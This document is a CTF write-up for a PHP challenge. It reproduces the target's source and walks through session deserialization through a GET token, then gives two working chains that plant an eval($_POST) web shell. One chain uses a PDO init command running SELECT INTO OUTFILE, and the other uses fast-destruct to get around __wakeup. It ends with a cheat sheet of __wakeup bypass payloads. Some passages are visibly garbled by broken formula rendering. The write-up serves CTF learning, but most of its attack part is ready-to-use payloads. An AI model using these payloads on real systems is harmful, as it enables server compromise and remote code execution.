CTFshow red envelope challenge 9
The source code of the question is open source. The source code is as follows:
common.php
<?php
class user{
public $id;
public $username;
private $password;
public function __toString(){
return $this->username;
}
}
class cookie_helper{
private $secret = "*************"; //敏感信息打码
public function getCookie($name){
return $this->verify($_COOKIE[$name]);
}
public function setCookie($name,$value){
$data = $value."|".md5($this->secret.$value);
setcookie($name,$data);
}
private function verify($cookie){
$data = explode('|',$cookie);
if (count($data) != 2) {
return null;
}
return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
}
}
class mysql_helper{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct(){
$this->init();
}
public function __wakeup(){
$this->init();
}
private function init(){
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****',//敏感信息打码
'password' => '****',//敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo(){
try{
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
}catch(PDOException $e){
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
class application{
public $cookie;
public $mysql;
public $dispather;
public $loger;
public $debug=false;
public function __construct(){
$this->cookie = new cookie_helper();
$this->mysql = new mysql_helper();
$this->dispatcher = new dispatcher();
$this->loger = new userLogger();
$this->loger->setLogFileName("log.txt");
}
public function register($username,$password){
$this->loger->user_register($username,$password);
$pdo = $this->mysql;
$sql = "insert into user(username,password) values(?,?)";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));
return $pdo->lastInsertId() > 0;
}
public function login($username,$password){
$this->loger->user_login($username,$password);
$sql = "select id,username,password from user where username = ? and password = ?";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));
$ret = $stmt->fetch();
return $ret['password']===$password;
}
public function getLoginName($name){
$data = $this->cookie->getCookie($name);
if($data === NULL && isset($_GET['token'])){
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
public function logout(){
$this->loger->user_logout();
setCookie("user",NULL);
}
private function log_last_user(){
$sql = "select username,password from user order by id desc limit 1";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute();
$ret = $stmt->fetch();
}
public function __destruct(){
if($this->debug){
$this->log_last_user();
}
}
}
class userLogger{
public $username;
private $password;
private $filename;
public function __construct(){
$this->filename = "log.txt_$this->username-$this->password";
}
public function setLogFileName($filename){
$this->filename = $filename;
}
public function __wakeup(){
$this->filename = "log.txt";
}
public function user_register($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_login($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_logout(){
$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function __destruct(){
$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename,$data,FILE_APPEND);
}
}
class dispatcher{
public function sendMessage($msg){
echo "<script>alert('$msg');window.history.back();</script>";
}
public function redirect($route){
switch($route){
case 'login':
header("location:index.php?action=login");
break;
case 'register':
header("location:index.php?action=register");
break;
default:
header("location:index.php?action=main");
break;
}
}
}
index.php
<?php
error_reporting(0);
session_start();
require_once 'common.php';
$action = $_GET['action'];
$app = new application();
if(isset($action)){
switch ($action) {
case 'do_login':
$ret = $app->login($_POST['username'],$_POST['password']);
if($ret){
$app->cookie->setcookie("user",$_POST['username']);
$app->dispatcher->redirect('main');
}else{
echo "登录失败";
}
break;
case 'logout':
$app->logout();
$app->dispatcher->redirect('main');
break;
case 'do_register':
$ret = $app->register($_POST['username'],$_POST['password']);
if($ret){
$app->dispatcher->sendMessage("注册成功,请登陆");
}else{
echo "注册失败";
}
break;
default:
include './templates/main.php';
break;
}
}else{
$app->dispatcher->redirect('main');
}
main.php
<?php
$name = $app->getLoginName('user');
if($name){
echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
include 'login.html';
}
Let’s go through all the code first.
There is a file writing operation in common.php
the file userLogger
class. If we can deserialize and change the class attributes, we can write to the file getshell, which is beautiful.
This question is divided into two steps, one is deserialization and the other is getshell.
1. Deserialization
The question should be enabled PDO扩展
(mysql_helper class in common.php) to connect to the database.
The question source code has many classes and no deserialization function unserialize()
, but the session (index.php) is enabled, and application::getLoginName()
there are session operations in the method (common.php). Session deserialization can be performed here .
1. When the object is stored in the session, it will be serialized automatically and the serialized string will be stored.
2. When the object is retrieved from the session, it will be deserialized automatically and the magic method of the object will be executed.
session_decode()
Decode the serialized session data in the parameter and fill the $_SESSION super global variable with the decoded data.
The statement session_decode($_GET['token']);
stores the object in the session.
The statement $data = $_SESSION['user'];
retrieves the object from the session and retrieves user
the object named.
Therefore, if the session deserialization conditions are met, if we submit the token parameter type of GET user|恶意序列化字符串
, we can deserialize the string getshell.
The first step of deserialization:
First we need to call the method that triggers the session statement application::getLoginName($name)
. This method is only main.php
called in. Simply look at the code and ask us to submit GET which action
is not equal to do_login, logout, and do_register.
Then we GET pass parameters:
?action=hahaha
The second step of deserialization:
Then there is contentment $data === NULL
. Looking back, $data = $this->cookie->getCookie($name);
. Backtrack a bit and cookie_helper::getCookie($name)
the method returns cookie_helper::verify($_COOKIE[$name])
. See below
The variables passed into verify
the method $cookie
are divided $_COOKIE[$name]
by characters |
. As long as the number after division is not equal to 2, null
the conditions for session deserialization will be returned.
There will be an intact user name in the above variable $cookie
. We only need to bring one user name |
. For example , there will be two Jay|17
variables (originally one), which will be separated into three after the function, so that Return , we can deserialize the session.$cookie
|
explode()
null
The third step of deserialization:
Register an account with a username Jay|17
and get the user cookie. Cookies must be brought when sending out packages for subsequent operations. Then log in (do_login).
Cookie:user=Jay%7C17%7Cfbbfa886adac2c1901e6d47c8700a15b
Verify whether session deserialization is successful:
We simply construct a serialized string and change the username into a one-sentence Trojan to see if the modification can be successful.
<?php
class userLogger{
public $username="<?php eval(\$_POST[1]);?>";
private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));
payload: (remember to bring cookies)
GET:/index.php?action=hahaha&token=user|O%3A10%3A%22userLogger%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A20%3A%22%00userLogger%00password%22%3Bs%3A6%3A%22123456%22%3B%7D
POST:username=Jay%7C17&password=123456
When accessing the log file log.txt
, remember to bring the cookie. I found that the deserialization was successful and the username was successfully modified by me.
二、getshell
Method 1: Use ** PDO::MYSQL_ATTR_INIT_COMMAND
**
PHP Chinese Manual->PDO_MYSQL predefined constants. A predefined constant called was queried PDO::MYSQL_ATTR_INIT_COMMAND
.
Its description translates to: the command (SQL statement) executed when connecting to the MySQL server. Will be automatically re-executed upon reconnection. Note that this constant can only be used in the driver_options array when constructing a new database handle.
Then we assign a malicious SQL statement to this predefined constant, and the malicious SQL can be automatically executed when connecting.select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';
Start implementing.
To connect to the database, you have to execute mysql_helper::get_pdo()
the method.
Since to deserialize, ?action=hahaha
the execution mysql_helper::get_pdo()
method must execute application::log_last_user()
the method, then it must $debug = true;
.
Construct a serialized string:
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$a = new application();
echo urlencode(serialize($a));
O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D
payload: (remember to bring cookies)
GET:/index.php?action=hahaha&token=user|O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D
POST:username=Jay%7C17&password=123456
After accessing 1.php
, you can see phpinfo, indicating that the writing is successful and executed, and getshell starts.
Method 2: Bypassweakup
However, the log file log.txt
will not be parsed even if the Trojan is written to it. We need to modify the written file. However, __wakeup()
the magic method limits the path for writing files, and we have to find a way to bypass it weakup
.
fast-destruct
Bypass is used here weakup
. (Essentially a GC recycling mechanism)
Idea:
1.
fast-destruct
Trigger firstapplication::__destruct()
, and finally callmysql_helper::get_pdo()
the method2. Set the attributes
mysql_helper
of the class$db
to empty, causingmysql_helper::get_pdo()
the method to fail to connect to the database, executedie()
the function, and end the life cycle of all objects (mainly ending userLogger and GC recycling), resulting in early execution ofuserLogger::__destruct()
writing to the file.
exp:
<?php
class mysql_helper{
private $db;
}
class application{
public $debug=true;
public $loger;
public $mysql;
public function __construct(){
$this->loger = new userLogger();
$this->mysql = new mysql_helper();
}
}
class userLogger{
public $username='<?php eval($_POST[1]);phpinfo();?>';
public $password="123456";
public $filename="2.php";
}
$a = new application();
echo serialize($a);
payload:
GET:/index.php?action=hahaha&token=user|【替换点】
POST:username=Jay%7C17&password=123456
[Replacement point] (Remember URL encoding) (Tried them all, integrated notes at the end, masters, don’t be busy taking notes now)
//一、去掉一个花括号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"2.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;}
//二、去掉外部类分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"3.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N}}
//三、内外部类加一个分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"4.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;};}
//四、属性键长度不匹配(后面的s:16:改成s:17:)
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"5.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:17:" mysql_helper db";N;}}
After finishing the work, I compiled a bypassed wakeup
mind map and notes:
variable reference
This is actually not a language feature vulnerability, but a code logic vulnerability. Only occurs under certain code conditions
KaTeX parse error: Expected 'EOF', got '&' at position 3: x=&̲ a makes both variables point to the same memory address at the same time
Utilize:
KaTeX parse error: Expected 'EOF', got '&' at position 10: jay17->b=&̲ jay17->a;
For details, please refer to ** NSS [UUCTF 2022 Freshman Competition] ez_unser, personal trainer web57
C bypass
C can be used instead of O to bypass wakeup, but in that case only the construct() function or destruct() function can be executed, and nothing can be added. Just bypass wakeup.
O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
—>
C:4:“User”:2:{}
C Bypass-Advanced// Fool's Cup 3rd [easy_php]
__unserialize() magic method
Requirements: PHP 7.4.0+
If both magic methods __unserialize()
and are defined in the class , only the method will take effect and the method will be ignored.__wakeup()
__unserialize()
__wakeup()
The number of attributes of the object is inconsistent
CVE-2016-7124
Version: PHP5 < 5.6.25, PHP7 < 7.0.10
Bypass method:
1. When the number of attribute values in the serialized string is greater than the number of attributes, a deserialization exception will occur, thus skipping __wakeup().
For example: O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} will have the number of variables 2 ( s :3: "age"; represents the name of the first variable, i:20; represents the value of the first variable, so objects like this appear in pairs, and several pairs have several variables) modified to 3 can be
str_replace(':1:', ':2:',$a);
Principle:
After deserialization, due to the mismatch in the number of attribute values, it is treated as garbage collection by PHP. (Essentially it is GC recycling mechanism)
----------------------------------------------- --------------------------
Further exploration, if it is changed to a package class, it is a class attribute or a class.
//Normal payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:" end";s:1:"1";}
//The number of inner class attributes is inconsistent, only the __destruct() of the outer class is triggered
O:1:"A":2:{s:4:"info";O: 1:"B":2:{s:3:"end";N;}s:3:"end";s:1:"1";} //The number of external class attributes is inconsistent, first the
external class __destruct () Inner class after
__wakeup() O:1:"A":3:{s:4:"info";O:1:"B":1:{s:3:"end";N;} s:3:“end”;s:1:“1”;}
Principle:
Deserialization starts from the inside, not the outside. In layman's terms, the attribute in class A is class B. Deserialization first deserializes class B and then deserializes class A.
The number of inner class attributes is inconsistent, and the inner class is directly treated as garbage collection, so the __wakeup() of the inner class is not triggered, only the __destruct() of the outer class is triggered.
The number of external class attributes is inconsistent. The external class is directly treated as garbage collection, and the external class __destruct() is triggered first. If the internal class is normal, the internal class __wakeup() is triggered normally.
This sounds like fast-destruct , but it is the same thing. In fact, it is essentially PHP's GC recycling mechanism.
fast-destruct
Essentially, it uses the GC recycling mechanism.
There are two methods, delete the curly braces at the end, and the array object occupies the pointer (change the number)
$a = new a();
a r r y = a r r a y ( arry = array( arry=array(a,“1234”);
r e s u l t = s e r i a l i z e ( result = serialize( result=serialize(arry);echo $result.“
”;
//Normal payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4: "1234";}
//Delete the final curly brace payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";} i:1;s:4:“1234”;
//The array object occupies the pointer payload (the array subscript in bold and the previous repetition are both 0, causing problems with the pointer)
a:2:{i:0;O:1 :"a":1:{s:1:"a";s:3:"123";}i: 0 ;s:4:"1234";}
The rest of the GC recycling mechanism is used
Also called php issue#9618
Version conditions:
- 7.4.x -7.4.30
- 8.0.x
-------------------------------------------------- --------------------
**Lengths of attribute keys do not match:
**
//Normal payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s :1:"1";}
//External class attribute key length abnormal payload:
// First outer class __destruct() and then inner class __wakeup()
O:1:"A":2:{s:4:" info";O:1:"B":1:{s:3:"end";N;}s: 6 :"Aend";s:1:"1";}
-------- -------------------------------------------------- ------------
The length of the attribute value does not match:
//Normal payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s :1:"1";}
//External class attribute value length exception payload:
// First outer class __destruct() and then inner class __wakeup()
O:1:"A":2:{s:4:" info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s: 2:"1";} O:1:" A "
: 2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“ 12 ” ; }
-------------------------------------------------- --------------------
Remove the semicolon of the inner class:
Note:
- In this way, the inner class is recycled directly, and the outer class is fine. You can directly not execute the wakeup of the inner class.
- The same goes for removing the semicolon in external classes.
- If the curly braces of the inner and outer classes are close to each other, you can also add a semicolon between the two curly braces to bypass the inner class wakeup.
//Normal payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N**;**}s :3:"end";s:1:"1";}
//Payload with the semicolon of the inner class removed
O:1:"A":2:{s:4:"info";O:1: "B":1:{s:3:"end";N}s:3:"end";s:2:"1";}
Note: The prerequisite for use is that the data before the semicolon cannot be payload, otherwise the payload will not be recognized and will be discarded. If it is some irrelevant data, it can be discarded casually.
Summary of GC recycling mechanism
In essence, the number of attributes of the above objects is greater than the real value, fast-destruct, and the rest of the GC recycling mechanism use the same thing and the same principle.
If you want not to execute wakup, you must destroy the structure of the class with the wakup magic method. You can delete the semicolon or make the number of attributes inconsistent .
In a chain where a destruct exists and the malicious method is in the destruct situation, wakup is completely ineffective. Not only can it be bypassed, it may not even be executed.
Bypass weakup
reference article:
CTfshow Juanwangbei easy unserialize (Special details)_Jay 17’s blog-CSDN blog
PHP's GC garbage collection mechanism - Jianshu (jianshu.com)
PHP deserialization bypasses wakeup – View of Thai
Summary of wakeup() bypass in PHP deserialization – fushulingのblog